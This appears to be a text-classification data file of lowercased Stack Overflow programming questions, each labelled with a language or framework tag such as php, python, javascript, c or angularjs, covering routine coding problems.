group subscription duration by month and year in mysql  i have a table of subscriptions  storing user id  subscription end date  program id. one user can be subscribed to many programs  but for the scope of the problem the latest date is considered as the end date of the subscription. the goal is to find the number of users whose subscription is ending for each month of each year.  to illustrate it:   <pre><code>------------------------------------------- | user_id | program_id |  end_date        | ------------------------------------------- |    1    |     1      |  2015-12-10      | |    1    |     2      |  2017-08-27      | |    2    |     1      |  2017-09-20      | |    3    |     2      |  2017-10-01      | |    2    |     3      |  2017-09-18      | |    5    |     12     |  2017-10-22      | |    4    |     3      |  2017-10-10      | |    3    |     8      |  2018-11-15      | ------------------------------------------- </code></pre>   intermediate result show when will the subscription end for each user (only month is needed):   <pre><code>------------------------------ | user_id |   enddate        | ------------------------------ |    1    |   2017-08        | |    2    |   2017-09        | |    3    |   2018-11        | |    4    |   2017-10        | |    5    |   2017-10        | ------------------------------ </code></pre>   this was achieved with the query:   <pre><code>select user_id  date_format(max(end_date)   %y-%m ) as as enddate  from subscription  group by user_id  order by end_date desc; </code></pre>   the final result must further filter the list  showing only how many users will be left with no subscription in each month  like this:   <pre><code>------------------------------ | count   |  month  year     | ------------------------------ |    1    |   2017-08        | |    1    |   2017-09        | |    2    |   2017-10        | |    1    |  2018-11         | ------------------------------ </code></pre>   this is where i am stuck with no mysql ideas. iterating through the results and counting is out of the question.,mysql
php updating error : <pre><code>&lt; php     $servercon=mysql_connect( localhost   root );     $serverconnection=mysql_select_db( advweb  $servercon);           $id= mysql_real_escape_string($_post[ id ]);     $lname = mysql_real_escape_string($_post[ lname ]);     $fname = mysql_real_escape_string($_post[ fname ]);     $course = mysql_real_escape_string($_post[ course ]);      echo &lt;form method=post action=home.php&gt; ;     $query= update * set firstname =  $fname   lastname =  $lname   course =  $course  where id =  $id   ;      mysql_query($query)or die(mysql_error());      if(mysql_affected_rows()&gt;=1)     {         echo  &lt;p&gt;($id) record updated&lt;p&gt; ;     }     else     {         echo  &lt;p&gt;($id) not updated&lt;p&gt; ;     }     echo      &lt;/form&gt; ;  &gt; </code></pre>  <blockquote>    you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  * set firstname =  teresa   lastname =  mariana   course =  entrep  where id =    at line 1   this is the error that shows up.  </blockquote>   any corrections with my syntax,php
how to detect ios devices when cable is plugged or not (without adding usb to the charge)  i understand that we could determine the battery status with <code>uidevicebatterystate</code>   but i can not find how to detect if only the cable is plugged to device or not (only 30-pin or lightning is added to device).    as i checked with <code>uidevicebatterystate</code>  status always <code>uidevicebatterystateunplugged</code> in this case  no matter i plug the cable or not.     maybe i have to use c to detect it  any conclusion will be very helpful with me. thanks,ios
can i have a hash in my config/settings.yml in rails  folks     in rails in my <strong>config/settings.yml</strong> can i have a hash. for example:   <pre><code>specimen_options:   kinds: [ {:ocl =&gt;  latest }  {:omb =&gt;  legacy }] </code></pre>,ruby-on-rails
how to word by word iterate in string in c#   i want to iterate over string as word by word.    if i have a string  incidentno and fintype or unitno   i would like to read every word one by one as  incidentno    and    fintype    or   and  unitno .,c#
settings-like array of nsstring objects  i m only starting with objective-c and it s still hard for me to do some pretty basic things. here s what i want to achieve - i need to create a class that would hold all static data of my application which i guess could be represented with a number of nsstring ** arrays  such as this one:   <pre><code>nsstring *animalnames[num_animals] = {@ fox   @ wolf   @ elephant   @ giraffe }; </code></pre>   i want to be able to access these arrays in a static way from anywhere in my application. something like this:   <pre><code>staticdata.animalnames[1] </code></pre>   how would i accomplish this in terms of @property  @interface  @synthesize and all this stuff,objective-c
insert a value to a sorted list via list comprehension python  i have an assignment to add a value to a sorted list using list comprehension.  i m not allowed to import modules  only list comprehension  preferably a one liner.  i m not allowed to create functions and use them aswell. i m completely in the dark with this problem.  hopefully someone can help :)    edit: i don t need to mutate the current list. in fact  i m trying my solution right now with .pop  i need to create a new list with the element properly added  but i still can t figure out much.,python
convert all pdf files into text in a directory  i just downloaded <a href= http://www.unixuser.org/~euske/python/pdfminer/  rel= nofollow >pdfminer</a> to convert pdf files to text. i convert files by executing this command on my terminal   <pre><code>python pdf2txt.py -o myoutput.txt simple1.pdf </code></pre>   it works fine  now i want to embed that function on my simple python script. i would like to convert all pdf files on a directory   <pre><code># lets say i have an array with filenames on it files = [      file1.pdf    file2.pdf    file3.pdf  ]  # and convert all pdf files to text # by repeatedly executing pdf2txt.py for x in range(0  len(files))     # and run something like     python pdf2txt.py -o output.txt files[x] </code></pre>   i also tried using <code>os.system</code> but a blinking window appeared (my terminal). i just wanted to convert all the files on my array to texts.,python
truncate to 3 decimals in python  self explanatory  i want to get 1324343032.324    as you can see below  the following do not work:   <pre><code>&gt;&gt;1324343032.324325235 * 1000 / 1000 1324343032.3243253 &gt;&gt;int(1324343032.324325235 * 1000) / 1000.0 1324343032.3239999 &gt;&gt;round(int(1324343032.324325235 * 1000) / 1000.0 3) 1324343032.3239999 &gt;&gt;str(1324343032.3239999)  1324343032.32  </code></pre>,python
javascript with count down timer  my problem is that the more i  click  on the start time button  the faster it counts. how can i change it to normal <strong><em>2 minute countdown timer</em></strong>  like this: <a href= http://www.donothingfor2minutes.com/  rel= nofollow >http://www.donothingfor2minutes.com/</a>    my code:   <pre class= lang-js prettyprint-override ><code>var minute = 1;  var second = 59;  function time(){      setinterval(starttime  1000);  } function starttime(){      document.getelementbyid( timer ).innerhtml = minute +  :   + second ;      second--;       if(second == 00) {          minute--;          second = 59;           if (minute == 0) {              minute = 2;          }      } } </code></pre>,javascript
how to apply border on input   i m amazed this works: <a href= http://jsfiddle.net/mqb2p/  rel= nofollow >demo</a>   <pre><code>&lt;span&gt; &lt;input type= checkbox  /&gt; &lt;/span&gt;  span{     border: 1px solid red; } </code></pre>   but this doesn t work: <a href= http://jsfiddle.net/u6v9n/  rel= nofollow >demo</a>   <pre><code>&lt;input type= checkbox  /&gt;  $( input ).wrap( &lt;span /&gt; ).css( border   1px solid red ); </code></pre>,jquery
when motorola milestone will get android 2.2   when motorola milestone will get android 2.2,android
angularjs injector error  i ve followed this <a href= https://stackoverflow.com/questions/23212692/uncaught-error-injectormodulerr-http-errors-angularjs-org-1-2-16/23880223#23880223 >direction</a> already; however  it doesn t seem to resolve my issue. i am always getting this error after using $resource.    here s the full exception:   <pre><code>error: [$injector:modulerr] http://errors.angularjs.org/1.2.16/$injector/modulerr  </code></pre>   here s a snippet from my app.js   <pre><code>angular.module( ffapp   [  ffapp.services    ffapp.controllers    ngroute    ngresource  ]) </code></pre>   any idea what else is causing this,angularjs
error in registering the controller angularjs  my code is like this   <pre><code>app.js angular.module( mailerapp   [      mailerapp.services        mailerapp.controllers        ui.bootstrap        angular-loading-bar        textangular        angularfileupload  ]);  cotrollers.js angular.module( mailerapp.controllers ).controller( mailercntrl   [ $scope    fileuploader   function ($scope  fileuploader) {  }]);  services.js angular.module( mailerapp.services   []).factory( raterequestservice   [ $http   raterequestservice]); function raterequestservice($http) {     var service = { getdata: getdata };     return service;     function getdata() {         return $http({             method:  get               url:  ../services/raterequestws.asmx/getreadonlydata           });     } }  html body ng-app= mailerapp  ng-controller= mailercntrl &gt; &lt;/body&gt; </code></pre>   everything looks okay to me  but this throws an error   <pre><code> uncaught error: [$injector:nomod] module  mailerapp.controllers  is not available! you either misspelled the module name or forgot to  load it. if registering a module ensure that you specify the  dependencies as the second argument. </code></pre>   can any one point out what i am doing wrong here,angularjs
abpersoncopyimagedata on ios4  the <code>abpersoncopyimagedata</code> function in ios4 sdk 4.0->4.02 seems to return uncropped image and leads to terrible performance and crashing due to running out of memory. it used to work fine on oc versions 3.0->3.1.3. i ve tried upgrading to 4.02 but still same issues    is there a workaround for this,iphone
using max function in a subquery in access  in microsoft access  i m querying data from four tables and i m using the max function to display the most recent records. the code below works but it s using two queries linked together. by using a sub-query  shown below with the full code  the code takes an hour to run  which is why i using two queries. is there a better way of doing this     query 1   <pre><code>select      a.office_id as ofid       rc.recorder_id as recorder       a.cust_name       r.account_id       rc.lpc_phone       rc.device_serial       rc.device_mfg       rc.device_type  into rds_info from maxdates  inner join (status as s inner join ((config_recorder as rc inner join recorders as r on rc.recorder_id = r.recorder_id)  inner join accounts as a on r.account_id = a.account_id) on s.status = rc.row_status) on (maxdates.maxoftrans_datetime = rc.trans_datetime) and (maxdates.recorder_id = rc.recorder_id) where (((rc.lpc_phone) is not null  and (rc.lpc_phone)&lt;&gt;     and (rc.lpc_phone) not like  # * )  and ((rc.call_mode)= an )  and ((rc.row_status)=3  or (rc.row_status)=11)); </code></pre>   maxdates query:   <pre><code>select      config_recorder.recorder_id       max(config_recorder.trans_datetime) as maxoftrans_datetime from config_recorder group by config_recorder.recorder_id; </code></pre>   code used with the sub-query:   <pre><code>        select              a.cycle as cyc               a.office_id as ofid               rc.recorder_id as recorder               a.cust_name               r.account_id               rc.lpc_phone               rc.device_serial               rc.device_mfg               rc.device_type          into test from config_recorder as rc  status as s  recorders as r  accounts as a where rc.recorder_id=r.recorder_id and r.account_id=a.account_id  and ((rc.lpc_phone is not null)  and (rc.lpc_phone&lt;&gt;   )  and (rc.lpc_phone not like  # * ))  and ((rc.call_mode= an )  and (rc.row_status=s.status)  and ((rc.row_status= 3 )  or (rc.row_status= 11 )))  and (rc.trans_datetime=(select max(r2.trans_datetime) from config_recorder r2 where r2.recorder_id = rc.recorder_id)); </code></pre>   thank you for your help.,sql
how can adding wsdl file to vs   i want to implement a simple meta search engine with asp.net that integrate result of 2 search engine without ranking the results of them. i know first i should add wsdl file into vs so i downloaded wsdl file of google and it locate for example on my c: drive of my laptop but when in vs i want to add serviece refrence and i entered the path of my wsdl file vs can not fine it i also try add web refrence i don t know where is my problem  i attach the picture of it <a href= http://i.stack.imgur.com/yicbs.png  rel= nofollow >enter image description here</a>    <a href= http://i.stack.imgur.com/43r6i.png  rel= nofollow >enter image description here</a>,asp.net
how to define that $_server[ http_name ] and $_server[ server_addr ] is changed in php  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/10578075/creating-a-license-system >creating a license system</a>    </blockquote>     i have an script file (license.php) in a project and i need to know the exact what domain and ip is server is running now. i try too use <code>$_server[ http_name ]</code> and  <code>$_server[ server_addr ]</code> but it can nulled very easy by renaming license.php to license.org.php and make another license.php file and on that change <code>$_server[ http_name ]</code> and  <code>$_server[ server_addr ]</code> to a valid license and require license.org.php. so how i can get the real http_name and server_addr  any solutions     <strong>note:</strong> all php files will encrypt by ioncube  so source codes is not available to users.,php
why my getelementsbytagname returns an empty nodelist   this is my code:   <pre><code>&lt;html&gt;  &lt;h1 id= hg &gt;     &lt;h2&gt;11&lt;/h2&gt;     &lt;h2&gt;22&lt;/h2&gt;     &lt;h2&gt;33&lt;/h2&gt; &lt;/h1&gt;  &lt;script&gt;     var h = document.getelementbyid( hg ).getelementsbytagname( h2 );     alert(h.length); &lt;/script&gt;  &lt;/html&gt; </code></pre>   i have looked up the manual  it seems that <code>getelementbyid</code> returns an <code>htmlheadingelement</code> in this case  and it inherits the method <code>getelementsbytagname</code> from <code>element</code>. i expect to get a <code>3</code> as the value of <code>h.length</code>  but instead i get <code>0</code>. what s wrong with it,javascript
trouble printing a variable  i m very new to python and coding in general  sorry if this question seems elementary to most of you. i m trying to write a little program where a code is generated  and basically you have infinte guesses to guess the correct code. once i get that down i plan to do it number by number  so you just guess the first number until you get that correct  and then the second number  and so on... right now i m just playing around with what i have written so far and i m just trying to get the code to display right in the start but its not working out because it says <strong> object has no attribute  code . </strong> and i was hoping someone could point out my mistake.    <strong>tracker.py</strong>   <pre><code>from number import *  class runner(object):     def __init__(self  start):         self.start = start         print integer.__doc__         print integer.code      def play(self):         next_guess = self.start  integer = random_integer()  guess = runner(integer)  guess.play() </code></pre>   <strong>number.py</strong>   <pre><code>from random import randint  class random_integer(object):    welcome to the guessing game! you have unlimited attempts to guess the 3 random numbers  thats pretty much it.         def __init__(self):         code =  %d%d%d  % (randint(1 9)  randint(1 9)  randint(1 9)) </code></pre>,python
store original height in jquery mouseover  i have a simple list and when i rollover the li selector i want to find the original height of the p tag inside that rollover scope that has a class of subtext. i want to store that value somewhere so i can use it on the rollout method. is there a way to store it in the this scope. if i use a global variable it may get changed by another rollover scope before the previous one gets to use it.     i also want to know how i can get the correct height of the selectors text height.  var pheight = $(this   p.subtext ).height(); the above code is not reading the full height of the text. it seems to be reading the height of the li tag which in the css is set to height:50px;   <pre><code>li{ width: 100px; height: 50px; float: left; color: #191919; text-align: center; overflow: hidden; list-style-type: none; </code></pre>   }    <strong>html code</strong>    <pre><code>&lt;body&gt; &lt;ul&gt;     &lt;li class= green &gt;         &lt;div &gt;&lt;/div&gt;         &lt;p&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/p&gt;         &lt;p class= subtext &gt;the front page has more text than any other panel. i want the script to revel different height text.&lt;/p&gt;     &lt;/li&gt;     &lt;li class= yellow &gt;         &lt;p&gt;&lt;a href= # &gt;about&lt;/a&gt;&lt;/p&gt;         &lt;p class= subtext &gt;more info&lt;/p&gt;     &lt;/li&gt;     &lt;li class= red &gt;         &lt;p&gt;&lt;a href= # &gt;contact&lt;/a&gt;&lt;/p&gt;         &lt;p class= subtext &gt;get in touch&lt;/p&gt;     &lt;/li&gt;     &lt;li class= blue &gt;         &lt;p&gt;&lt;a href= # &gt;submit&lt;/a&gt;&lt;/p&gt;         &lt;p class= subtext &gt;send us your stuff!&lt;/p&gt;     &lt;/li&gt;     &lt;li class= purple &gt;         &lt;p&gt;&lt;a href= # &gt;terms&lt;/a&gt;&lt;/p&gt;         &lt;p class= subtext &gt;legal stuff&lt;/p&gt;     &lt;/li&gt; &lt;/ul&gt; </code></pre>      <pre><code>$( document ).ready(function(){  $( li ).mouseover(function(){     var pheight = $(this   p.subtext ).height();     console.log(pheight);     $(this).stop().animate({height:150}  {duration: 600  easing:  easeoutexpo } ); })  $( li ).mouseout(function(){     $(this).stop().animate({height:50}  {duration: 600  easing:  easeoutexpo } ); }) </code></pre>   }),jquery
check status of message using txtlocal api  this is the code for sending messages using txtlocal   <pre><code>$message = urlencode($message);     $data =  username= .$username. &amp;hash= .$hash. &amp;message= .$message. &amp;sender= .$sender. &amp;numbers= .$numbers. &amp;test= .$test;     $ch = curl_init( http://api.txtlocal.com/send/  );     curl_setopt($ch  curlopt_post  true);     curl_setopt($ch  curlopt_postfields  $data);     curl_setopt($ch  curlopt_returntransfer  true);     $result = curl_exec($ch); // this is the result from the api     echo $result;     curl_close($ch); </code></pre>   but how can i check for some error. im using    <pre><code>echo $result; </code></pre>   to print the output result    and it gives me something like this   <pre><code>{ balance :94.5  batch_id :309268453  cost :0.5  num_messages :1  message :{ num_parts :1  sender : audrey   content : this is a test message from the php api script. }  receipt_url :    custom :    messages :[{ id : 1356746460   recipient :639000000000}]  status : success } </code></pre>   i can get the last string for the success messages. but what if the output is not success,php
debug assertion failed using float variable and scanf() to get user grades and printf() them <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main() {     float grade1 = 0.0;     float grade2 = 0.0;     float grade3 = 0.0;      printf( enter your three test grades in decimal form: \n );      scanf(  %f   grade1);     scanf(  %f   grade2);     scanf(  %f   grade3);      float avg = (grade1 + grade2 + grade3) / 3;     printf( average: %.2f \n   avg);      system( pause );     return 0; } </code></pre>   i am using a tutorial on the new boston yt channel and this code does not work on my compiler while tutorial code does work. i have visual studio community 2015.,c
ios - how can i change my account when testing inapp purchase   i am trying to test an inapp purchase. and it is asking my login credentials. i can t seem to recover my password for my test user. so i was trying to log in as another user.    but i don t see a way to change users. would anyone know how i can try to log in as a different account when testing the buying of an inapp purchase     thanks!,ios
why my code wont working   i have some problem with my code. my problem is in  view list contact   i need to do string sorting and when i input a name without space it working  but when i input a name with space  my program show a wrong output.    <pre><code>#pragma warning (disable:4996) #include&lt;stdio.h&gt; #include&lt;string.h&gt; #include&lt;ctype.h&gt; #include&lt;stdlib.h&gt;    struct contact {     char name[30];     char number[12];  };  int main() {     int menu;     struct contact contact[100];     int flag  flag_1  flag_2  flag_3;     int i;     int n = 0;  start:     printf( phone book\n );     printf( ==========\n );     printf( 1. add new contact\n );     printf( 2. view list contact\n );     printf( 3. search contact\n );     printf( 4. delete contact\n );     printf( 5. exit\n );     printf( choose menu:  );     scanf( %d   &amp;menu); fflush(stdin);     system( cls );        switch (menu) {     case 1:         printf( add new contact\n\n );         do {              flag = flag_1 = 1;             printf( input name [1..30 char]:  );             scanf(  %[^\n]   contact[n].name);              if (!isalpha(contact[n].name[0])) {                 flag = 0;                 printf( first letter of name should be an alphabet (a-z or a-z)\n );              }              if (strlen(contact[n].name) &gt; 30) {                 flag_1 = 0;                 printf( length of name should be between 1 and 30 characters\n );             }           } while (flag == 0 || flag_1 == 0);          do {             flag_2 = flag_3 = 1;             printf( input phone number[6..12 digits]:  );             scanf(  %[^\n]   contact[n].number);              for (i = 0; i &lt; strlen(contact[n].number); i++) {                 if (!isdigit(contact[n].number[i])) {                     flag_2 = 0;                 }             }             if (flag_2 == 0) {                 printf( phone numbers should only contain digits (0-9)\n );             }             if (strlen(contact[n].number) &lt; 6 || strlen(contact[n].number) &gt; 12) {                 flag_3 = 0;                 printf( length of phone numbers should be between 6 and 12 digits\n );                }         } while (flag_2 == 0 || flag_3 == 0);               printf( \n );             printf( new contact successfully added!\n\n );             printf( press enter to continue... );             n++;             getchar();             getchar();             system( cls );             goto start;      case 2:          char temp[30];         int i  j  check;         printf( view list contact\n\n );         printf(     # name                         phone number\n );          for (i = 0; i &lt; n; i++) {             for (j = 0; j &lt; n; j++) {                 check = strcmp(contact[i].name  contact[j].name);                 if (check &lt; 0) {                     strcpy(temp  contact[i].name);                     strcpy(contact[i].name  contact[j].name);                     strcpy(contact[j].name  temp);                      strcpy(temp  contact[i].number);                     strcpy(contact[i].number  contact[j].number);                     strcpy(contact[j].number  temp);                 }             }         }           for (i = 0; i &lt; n; i++) {             printf(     %d. %s %20s \n   i+1  contact[i].name  contact[i].number);         }            getchar();     }      getchar();     return 0; } </code></pre>,c
google custom search cse - highlight results  how do you highlight the results search term on a google custom search,css
changing url when reloading containing passed value  i have the following code    <pre><code>if ($description==  ){     header( location:..\initnewproject.php state=-1 ); } </code></pre>   and the initnew project.php code :    <pre><code>if ($state==-1)     echo &lt;script&gt;alert(\ kindly fill out the description\ );&lt;/script&gt; ; </code></pre>   the problem is when refreshing on this page the url stays the same and keeps popup the alert  how can i return the url to default when refreshing,php
removing new lines spaces in variable/if  i have some script  i have form  then i get info with $_post and send informations on email.    i use this:   <pre><code>if($ccm ==   ) {     $ccm =   ; }else{     $ccm =  ccm: &lt;font style= font-family: calibri; font-size: 17px; &gt;  . $ccm .  &lt;/font&gt; ; } </code></pre>   so if user didn t enter answer in field  ccm   $ccm will be empty  if user entered something then $ccm will be shown. it works ok for now i think  maybe there is some way to do that what i did above  but problem is  when $ccm is empty and i get line spaces in email message  so how to do it to lose line spaces in message     thaks,php
c++ string comparison line.compare  the program is getting one line and passing it into the if statements fine  but it passes over each if statement.    if i change it to  if (line.compare( v ))  everything is added into the first vertex.    can anyone help me please      thank you.   <pre><code>string line;     while(!myfile.eof())      {       getline (myfile line);       //stringstream line;     if (line.compare( v ))     {         glm::vec3 vertex;         (myfile  %f %f %f\n   &amp;vertex.x  &amp;vertex.y  &amp;vertex.z );         temp_vertices.push_back(vertex);     }     else if ( line.compare( vt ) == 0)     {         glm::vec2 uv;         (myfile   %f %f\n   &amp;uv.x  &amp;uv.y );         temp_uvs.push_back(uv);     }     else if ( line.compare( vn ) == 0){         glm::vec3 normal;         (myfile   %f %f %f\n   &amp;normal.x  &amp;normal.y  &amp;normal.z );         temp_normals.push_back(normal);     }     else if ( line.compare( f ) == 0)     {      std::string vertex1  vertex2  vertex3;      unsigned int vertexindex[3]  uvindex[3]  normalindex[3];      (myfile   %d/%d/%d %d/%d/%d %d/%d/%d\n   &amp;vertexindex[0]  &amp;uvindex[0]  &amp;normalindex[0]  &amp;vertexindex[1]  &amp;uvindex[1]  &amp;normalindex[1]  &amp;vertexindex[2]  &amp;uvindex[2]  &amp;normalindex[2] );      vertexindices.push_back(vertexindex[0]);      vertexindices.push_back(vertexindex[1]);      vertexindices.push_back(vertexindex[2]);      uvindices    .push_back(uvindex[0]);      uvindices    .push_back(uvindex[1]);      uvindices    .push_back(uvindex[2]);      normalindices.push_back(normalindex[0]);      normalindices.push_back(normalindex[1]);      normalindices.push_back(normalindex[2]);     }     } </code></pre>   <a href= https://i.stack.imgur.com/mianu.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/mianu.jpg  alt= enter image description here ></a>,c++
php reach functions from a extended class through the parent class  i ve been searching around the net for answers but couldn t find anything relevant  so i thought about asking it here.    how can i reach functions from a extended class through it s parent class     <strong>base (parent class)</strong>   <pre><code>require_once( firstchild.class.php );  require_once( secondchild.class.php );  class base {  public $first;  public $second;   function __construct() {  $this-&gt;first = new firstchild();  $this-&gt;second = new secondchild();  }  } </code></pre>   <strong>first (child class)</strong>   <pre><code>class firstchild extends base {  public $firstvar;   function __construct() {  $this-&gt;firstvar =  hello ;  }   public function getsecondvar() {  echo parent::$second-&gt;getvar();//doesnt work!!   }  } </code></pre>   <strong>second (child class)</strong>   <pre><code>class secondchild extends base {  public $secondvar;   function __construct() {  $this-&gt;secondvar =  world ;  }   public function getvar() {  return $this-&gt;secondvar;  }  } </code></pre>   <strong>how can the  getsecondvar  function be reached inside  firstchild  </strong>    thanks!,php
the best way to mock services in angularjs to decouple rest calls  i am building a web application with angularjs and have built out a angularjs service that my controller uses to create  retrieve  update  delete data from. i want to farm out the ui work to another developer  but i don t want them to require the dependencies that the angularjs service does. i d like to build a mock service and just return mock data rather than call the live rest service.    my app is set up like this:   <pre><code>var myapp = angular.module( myapp   [ ui.bootstrap ]); </code></pre>   my controller currently hooks up to the service using:   <pre><code>myapp.controller( todoctrl   function todoctrl($scope  $jsomservice) {    $jsomservice.dostuff(); }); </code></pre>   and my service is defined like this   <pre><code>myapp.service( $jsomservice   function ($q  $http) { ... }); </code></pre>   what the are best ways to handle switching out the service for another one  this is a little different from unit testing and i wondered if there are any common ways of doing this     for now i m just having a slightly different code base where i just switch out the angularjs service javascript files loaded to handle this.,angularjs
why is this javascript function producing this output   i have this javascript code:   <pre><code>var myobject1 = function (a  b) {       return {          mya : a           myb : b          hello : function () { return  hello ! ; }        } ;      } ; </code></pre>   ...and <code>obj1 = myobject1(1  2)</code> will result in <code>obj1</code> being set to <code>{mya: 1  myb: 2  hello: ƒ}</code>  but i don t understand why it is producing this value.    also  why does <code>obj1.mya;</code> remain the value <code>1</code>  is it because <code>hello</code> is a closure,javascript
link does not work without http:// protocols  i use php and i have an input that the user types in a link to his website. the link should appear for others to view it or open it. i m testing the input and the problem is the link does not work unless i types either http:// or https:// before the mentioned url and i think some one might just write www.foo.com without writing the hhtp:// . the link automatically substitutes the http:// or <a href= https://with  rel= nofollow >https://with</a> the root of my website ( or at least that s what i guess )  because i m working with xamp and the url appears as localhost/myfooprojectfile/www.foo.com .    how to make link work without the protocols or substitute the none mentioned protocol with the right one before my user s link      note : i know the question might seem stupid (cause who is the idiot who thinks a link could work without protocol)  but what makes me wonder is i write in the address bar of my browser www.foo.co and it would take me there  without me menthionioning the protocols.    please note that i do not have the code in the time of writing the question.,php
how to get current position in horizontal list view  <strong>main activity.java</strong>  code :   <pre><code> @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);          myhorizontallistview = (gallery) findviewbyid(r.id.horizontallistview);          myadapter = new myadapter(this  itemsarray  data);         myhorizontallistview.setadapter(myadapter);         myhorizontallistview.setonitemclicklistener(new adapterview.onitemclicklistener() {             @override             public void onitemclick(adapterview&lt; &gt; parent  view view  int position                                      long id) {                  //---------------------------------------------------------------------------                 rank = new string[]{ 1    2    3    4    5    6    7    8    9    10 };                 country = new string[]{ china    india    united states                            indonesia    brazil    pakistan    nigeria    bangladesh                            russia    japan };                 population = new string[]{ 1 354 040 000    1 210 193 422                            315 761 000    237 641 326    193 946 886    182 912 000                            170 901 000    152 518 015    143 369 806    127 360 000 };                  //---------------------------------------------------------------------------                  list = (listview) findviewbyid(r.id.contentlist);                   adapter = new listviewadapter(mainactivity.this  rank  country  population);                 // binds the adapter to the listview                 log.e( cccccccccccccchhhhhh     + position);                 list.setadapter(adapter);                  list.setonitemclicklistener(new adapterview.onitemclicklistener() {                      @override                     public void onitemclick(adapterview&lt; &gt; parent  view view                                              int position  long id) {                          intent i = new intent(mainactivity.this  viewpageractivity.class);                         i.putextra( rank   rank);                         i.putextra( country   country);                         i.putextra( population   population);                         i.putextra( position   position);                         log.e( cccccccccccccchhhhhh    ::::::::::  + position);                         startactivity(i);                      }                  });                   toast.maketext(                         mainactivity.this  parent.getitematposition(position).tostring() +   clicked   toast.length_long).show();             }         });     } } </code></pre>   <strong>myadapter</strong> code :    <pre><code>public class myadapter extends baseadapter {      context context;     string[] itemsarray;     string[] data;      public myadapter(context c  string[] itemsarray  string[] data) {         context = c;         this.itemsarray = itemsarray;         this.data = data;     }      @override     public int getcount() {         // todo auto-generated method stub         return itemsarray.length;     }      @override     public object getitem(int position) {         // todo auto-generated method stub         return itemsarray[position];     }      @override     public long getitemid(int position) {         // todo auto-generated method stub         return position;     }      private class viewholder {         textview itemtext;         textview data;     }      @override     public view getview(int position  view convertview  viewgroup parent) {         // todo auto-generated method stub         viewholder holder = new viewholder();          view rowview = layoutinflater                 .from(parent.getcontext())                 .inflate(r.layout.row  null);          holder.itemtext = (textview) rowview.findviewbyid(r.id.itemtext);         holder.data = (textview) rowview.findviewbyid(r.id.itemname);          holder.itemtext.settext(itemsarray[position]);         holder.data.settext(data[position]);           return rowview;     }   } </code></pre>,android
geochart google . click country and show the provinces  any idea for show the regions of a country when i click in a country     document.jsongeochart   = [{ argentina :{ count : 5   regions :{ cordoba province : 2   la pampa province : 2   santa fe province : 1 }}} { uruguay :{ count : 1   regions :{ montevideo : 1 }}}];    google.load( visualization    1   { packages : [ geochart ]});      google.setonloadcallback(drawregionsmap);   <pre><code>  function drawregionsmap() {     var data = new  google.visualization.datatable();     data.addcolumn( string    country );     data.addcolumn( number    cantidad );    $.each(document.jsongeochart function(item){       $.each(document.jsongeochart[item] function(item_){          data.addrow([item_ parseint(document.jsongeochart[item][item_].count)]);               var data2 = new google.visualization.datatable();             data2.addcolumn( string    province );             data2.addcolumn( number    device count );              $.each(document.jsongeochart[item][item_].regions function(item__){                 console.log(item__ +      +document.jsongeochart[item][item_].regions[item__]);             })        });    });          var options = {};      var chart = new google.visualization.geochart(document.getelementbyid( chart_2_map ));     chart.draw(data  options);   }; </code></pre>   thanks a lot!,javascript
multidimensional array (with some values not sub-arrays) to string   i am trying to turn a multidimensional array into a patterned string with this <code>array_map</code> function:   <pre><code>function array_to_string($array) {     return implode( &amp;  array_map(function($a){return implode( ~  $a);} $array)); } $arr = array( hello  array( blue   red ) array( one   three   twenty )  random ); array_to_string($arr); </code></pre>   between each array element  &amp;  and between each sub-array element (if it is an array)  ~     should output: <code>hello&amp;blue~red&amp;one~three~twenty&amp;random</code>    however this outputs: <code>warning: implode(): invalid arguments passed</code> (2) i tried changing the function within the <code>array_map</code> to detect whether the multi-array s value <code>is_array</code> but from my outputs  i don t think that is possible  so essentially  i guess the real question is how can i place a test on the <code>array_map</code> function to see whether or not it <code>is_array</code>,php
my jquery $.post function returning a value but can t compare it  i m not sure why the if/else statement  when comparing response to success  isn t coming up true. the first alert  alerts  success  but then when i try to compare it...it isn t finding it to be true. what am i doing wrong  thanks in advance.   <pre><code>    $( #suggestion_button_box ).click(function(){          var suggestion = $( #suggest_input_id ).serialize();      if(suggestion !=   ) {         $.post( suggest_tag.php  suggestion  function(response) {              alert(response);                  if(response ==  success ) {                 alert( yes );                    }else {                 alert( no );             }      });      } }); </code></pre>   php part   <pre><code>echo  success ; </code></pre>,jquery
how to insert multiple data in linked list  this program asks for two data ( a name and an id)  and then stores them in a linked list and then it should output all the data one by one.    <pre><code> #include &lt;stdio.h&gt;  #include &lt;stdlib.h&gt;  #include &lt;string.h&gt;   struct test {   char name[16];   int id; };  typedef struct node {   struct test structure;   struct node * next;  }tnode; typedef tnodo* node;  void newdatainnode(struct test  p  node *pp) {   tnode *temp;    temp = malloc(sizeof(struct node));    temp-&gt;structure = p;   temp-&gt;next = null;    *pp = temp;  }  void readdata(struct test * p) {   printf( \nname: );   scanf(  %s   p-&gt;name);   printf( \nid: );   scanf(  %d   &amp;p-&gt;id); }   void viewnodes(node  node) {  while(node != null) {    printf( %s %d\n  node-&gt;structure.name  node-&gt;structure.id);    node = node-&gt;next; }  }  int menu() {   int c;    printf( \n\tm e n u ***\n        1 - new\n        2 - print\n        0 - exit\n        \n&gt;&gt;  );    scanf(  %d   &amp;c);    return c; }    int main() {   int c;   struct prova test; struct node * list = null;   do {     c = menu();      switch (c)     {       case 1:  readdata(&amp;test);                newdatainnode(test  &amp;list);break;       case 2:  viewnodes(lista); break;       default: c = 0;     }    } while (c != 0);    return 0; } </code></pre>   the problem is that it outputs only the last data that has been inserted  what should i do to make it output all the data retrieved in function nuovaprenotazione() .    update: now the function <code>newdatainnodes()</code> looks like this:   <pre><code>void newdatainnode(struct test  p  node *pp) {   tnode *temp;    temp = malloc(sizeof(struct node));    temp-&gt;structure = p;   temp-&gt;next = *pp;    *pp = temp;  } </code></pre>   thanks to sandeep for the correction  the function works even without a return value the problem was <code>temp-&gt;structure = null</code>.,c
make a link load image instead of a whole new page   i want to have an image portion on my webpage on the left side and on the right side i want to have small images. when i click those small images i want it to load a different image on the left side without reloading a whole webpage.     how can i do this,html
